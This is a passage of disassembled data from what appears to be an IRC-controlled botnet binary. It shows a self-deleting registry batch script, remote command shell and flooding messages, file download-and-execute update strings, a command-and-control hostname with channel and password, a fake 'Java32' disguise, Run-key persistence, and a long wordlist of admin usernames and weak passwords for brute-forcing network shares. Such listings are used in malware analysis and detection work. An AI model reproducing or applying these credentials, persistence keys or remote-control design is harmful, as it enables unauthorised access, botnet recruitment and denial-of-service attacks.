		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 10h
unk_42B330	db    2			; DATA XREF: sub_40A077:loc_40A136o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42B374	db    2			; DATA XREF: sub_40A077:loc_40A104o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42B3B8	db    2			; DATA XREF: sub_40A077:loc_40A0D0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 10h
unk_42B3F0	db    2			; DATA XREF: sub_40A077+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42B434	db    2			; DATA XREF: seg000:0040A337o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42B474	db    2			; DATA XREF: seg000:0040A269o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42B4B0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040A54Do
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 10h
dword_42B4F0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040A415o
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:0040A638o
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	6F432020h, 20646C75h, 20746F6Eh
		dd 64616572h, 74616420h, 72662061h, 70206D6Fh, 63636F72h
		dd 2E737365h, 0A0Dh, 28026502h,	62302E31h, 20282029h, 2E646D63h
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 68207373h, 74207361h, 696D7265h, 6574616Eh, 0A0D2E64h
		dd 0
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess',0Dh,0Ah,0
		align 10h
dword_42B600	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7E1+194o
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
dword_42B648	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7E1+14Co
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40A7E1+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40A996+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40AAB5+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAB5:loc_40AC19o
		align 4
word_42B78C	dw 3Fh			; DATA XREF: sub_40AAB5:loc_40ABB7r
					; sub_40C27B+1Fo
		align 10h
dword_42B790	dd 28207325h, 297325h	; DATA XREF: sub_40AAB5+EBo
dword_42B798	dd 3F3F3Fh		; DATA XREF: sub_40AAB5:loc_40AB78o
					; seg000:loc_414327o
a2003		db '2003',0             ; DATA XREF: sub_40AAB5+BAo
					; seg002:0042C424o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40AAB5+AAo
					; seg000:00414312o ...
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40AAB5+98o
					; seg000:00414302o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40AAB5+7Eo
					; seg000:004142E9o
		align 10h
a98		db '98',0               ; DATA XREF: sub_40AAB5+6Co
					; seg000:004142D9o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40AAB5+5Ao
					; seg000:004142C9o
		align 4
a95		db '95',0               ; DATA XREF: sub_40AAB5+46o
					; seg000:004142BBo
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40AD69+ABo
		align 4
off_42B7FC	dd offset loc_412F4B+3	; DATA XREF: sub_40AD69:loc_40ADDDo
dword_42B800	dd 4E414Ch		; DATA XREF: sub_40AD69:loc_40ADD6o
dword_42B804	dd 6C616944h, 70752Dh	; DATA XREF: sub_40AD69+5Bo
dword_42B80C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40AD69+48o
unk_42B81C	db    2			; DATA XREF: sub_40AE2F:loc_40AFE8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42B860	db    2			; DATA XREF: sub_40AE2F:loc_40AFE1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 10h
dword_42B8A0	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE2F+1A0o
		dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h,	2064696Ch
		dd 2E4C5255h, 0
unk_42B8D0	db    2			; DATA XREF: sub_40AE2F:loc_40AFC2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 10h
dword_42B920	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE2F+18Co
		dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h,	69736976h
		dd 2E646574h, 0
dword_42B950	dd 2A2F2Ah		; DATA XREF: sub_40AE2F+3Bo
dword_42B954	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40B0D9+35o
dword_42B960	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40B0D9+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B151+60o
		align 4
dword_42B994	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_40B1F1+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42B9CC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B263+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_42B9FC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B263+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_42BA20	dd 80000002h, 42C218h, 80000002h, 42C248h, 80000001h, 42C280h
					; DATA XREF: sub_40B392+7o
dword_42BA38	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B392+63o
		dd 2029206Ch, 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 10h
		dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42BAC4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B57Co
					; seg000:0040B7F3o
		dd 2029206Ch, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 6E65706Fh, 636F7320h, 2E74656Bh, 0
		dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	6F532020h, 74656B63h, 72726520h
		dd 2E726Fh
dword_42BB28	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B9F0o
		dd 2029206Ch, 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BB7C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B8F8o
		dd 2029206Ch, 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42BBB4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B8C1o
		dd 2029206Ch, 2BBBB02h,	65532020h, 7420646Eh, 6F656D69h
		dd 2E7475h
dword_42BBE0	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: seg000:0040B860o
		dd 169h
dword_42BBF8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B81Do
		dd 2029206Ch, 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42BC2C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B778o
		dd 2029206Ch, 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42BC64	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B73Ao
		dd 2029206Ch, 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
		dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0
		dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42BDB0	db    2			; DATA XREF: seg000:0040C166o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 10h
unk_42BDF0	db    2			; DATA XREF: seg000:0040C158o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42BE3C	db    2			; DATA XREF: seg000:0040C09Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 10h
dword_42BE90	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: seg000:0040C02Bo
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: seg000:0040C009o
					; seg000:0040F870o ...
		align 4
unk_42BEC8	db    2			; DATA XREF: seg000:0040BFB4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42BF14	db    2			; DATA XREF: seg000:0040BF35o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 10h
unk_42BF50	db    2			; DATA XREF: seg000:0040BEABo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42BF98	db    2			; DATA XREF: seg000:0040BE68o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42BFDC	db    2			; DATA XREF: seg000:0040BE56o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42C028	db    2			; DATA XREF: seg000:0040BD4Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40C27B:loc_40C2BEo
					; sub_41360D+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40C27B:loc_40C2B8o
aDisk		db 'Disk',0             ; DATA XREF: sub_40C27B:loc_40C2B2o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40C27B:loc_40C2ACo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40C27B:loc_40C2A6o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40C27B:loc_40C2A0o
aFailed		db 'failed',0           ; DATA XREF: sub_40C30C:loc_40C3E4o
					; sub_40C427+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_40C30C+6Bo
		align 10h
dword_42C0A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C427+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 10h
dword_42C0F0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C427+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 10h
aA_0		db 'A:\',0              ; DATA XREF: sub_40C4F9:loc_40C53Eo
		dd 1A0Bh, 1A0Ch
dword_42C14C	dd 1AA6h		; DATA XREF: seg000:loc_41262Dr
dword_42C150	dd 0CCEh		; DATA XREF: seg000:00407295r
dword_42C154	dd 158Dh		; DATA XREF: seg000:loc_407509r
					; seg000:loc_411D96r
dword_42C158	dd 1			; DATA XREF: seg000:0040C68Fr
dword_42C15C	dd 1			; DATA XREF: seg000:0040D49Br
dword_42C160	dd 1			; DATA XREF: seg000:00409E05r
byte_42C164	db 78h			; DATA XREF: seg000:loc_40C1D1r
					; seg000:0040D92Fr ...
		align 4
dword_42C168	dd 9			; DATA XREF: sub_4140AE+2Br
					; sub_4140AE+51r ...
dword_42C16C	dd 1			; DATA XREF: sub_40CB59+78r
					; seg000:0040D0B5r ...
aIds443v	db 'ids443v',0          ; DATA XREF: seg000:0040C6CDo
					; seg000:00410B46o ...
aEnz9_9b34v	db 'enz 9.9b34v',0      ; DATA XREF: seg000:loc_412845o
aHi		db 'hi',0               ; DATA XREF: seg000:004129C8o
					; seg000:00412A97o
		align 4
aDd_mybn_us	db 'dd.mybn.us',0
		align 4
aDd		db '#dd',0
aDpass		db 'dpass',0
		align 10h
aDd_mybn_us_0	db 'dd.mybn.us',0
		align 4
aDd_0		db '#dd',0
aDpass_0	db 'dpass',0
		align 4
aJava32_com	db 'Java32.com',0       ; DATA XREF: seg000:004028C1o
					; sub_403178+Fo ...
		align 4
aJava32_dll	db 'Java32.dll',0
		align 10h
aJavaSofte	db 'Java Softe',0       ; DATA XREF: sub_40B392+Eo
		align 4
aJv		db 'JV-',0              ; DATA XREF: sub_4140AE+12o
aJava32_com_0	db 'Java32.com',0
		align 4
aXI		db '+x+i',0             ; DATA XREF: seg000:00412B10o
		align 4
aJv_0		db '#jv',0              ; DATA XREF: seg000:loc_40FF88o
					; seg000:00411B0Ao ...
aSs		db '#ss',0              ; DATA XREF: seg000:0040EBF4o
aSs_0		db '#ss',0              ; DATA XREF: seg000:0040EA3Do
a78001		db '78001',0            ; DATA XREF: seg000:004028D7o
		align 4
aSf		db 'sf',0               ; DATA XREF: seg000:004028D2o
		align 4
aSf_		db 'sf.',0              ; DATA XREF: seg000:004028CDo
off_42C210	dd offset a@room	; DATA XREF: seg000:loc_412A24o
					; "*@room"
off_42C214	dd offset aMirc1_6_99	; DATA XREF: seg000:0040D6FFr
					; seg000:00412A40o
					; "mirc	1.6.99"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: seg000:004146C8o
					; sub_4149C4+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: seg000:00414774o
					; sub_4149C4+D4o
		align 10h
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		align 8
off_42C318	dd offset byte_438F8C	; DATA XREF: sub_404F08:loc_404FA1r
					; sub_404F08+A6o
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_432C14	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4263F0
